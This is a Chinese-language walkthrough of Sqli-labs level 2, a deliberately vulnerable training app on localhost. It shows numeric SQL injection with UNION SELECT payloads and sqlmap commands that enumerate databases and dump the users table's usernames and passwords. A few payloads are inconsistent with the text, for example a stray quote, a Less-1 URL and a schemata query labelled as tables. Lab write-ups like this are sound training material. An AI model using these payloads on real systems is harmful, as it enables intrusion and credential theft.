Sqli-labs 第2關 SQL注入 Writeup
Sqli-labs 第2關 SQL注入 Writeup
關卡簡介
關卡提示:GET-Error based - Intiger based
注入位置:GET
注入型別:數字型
前期測試
-
url 輸入 http://127.0.0.1/Less-2/?id=1' 有報錯回顯,可以考慮用報錯注入
-
url 輸入 http://127.0.0.1/Less-2/?id=1 and 1=1 和 http://127.0.0.1/Less-2/?id=1 and 1=2
1 = 2 時頁面報錯,確定是 數字型
union聯合查詢注入
由於有顯示資料庫內容的欄位區域,還有有報錯回顯示, 因此可用此方法
-
爆列
http://127.0.0.1/Less-2/?id=1%27%20order%20by%201--+ http://127.0.0.1/Less-2/?id=1%27%20order%20by%202--+ http://127.0.0.1/Less-2/?id=1%27%20order%20by%203--+
試過均正常顯示id=1時的頁面,當 http://127.0.0.1/Less-2/?id=-1 order by 4--+ 報錯,說明 當前資料表有3列
-
爆出資料庫版本 構造 payload http://127.0.0.1/Less-2/?id=-1 union select 1,2,(select version())--+
-
爆出資料庫資訊
-
爆出當前庫的所有表 構造 payload http://127.0.0.1/Less-2/?id=-1 union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
-
爆出使用者表users的所有列名 構造 payload
-
爆出使用者表users的所有資訊 構造 payload http://127.0.0.1/Less-1/?id=-1 union select 1,2,(select group_concat(username,'~',password) from users)--+
利用sqlmap注入
傻瓜式注入
-
爆出所有庫 終端執行 sqlmap -u http://127.0.0.1/Less-2/?id=1 --dbs
-
爆出當前資料庫所有表 終端執行 sqlmap -u http://127.0.0.1/Less-2/?id=1 -D security --tables
-
爆出users表中所有列 終端執行 sqlmap -u http://127.0.0.1/Less-2/?id=1 -D security -T users --columns
-
爆出users表所有資訊 終端執行 sqlmap -u http://127.0.0.1/Less-2/?id=1 -D security -T users -C username,password --dump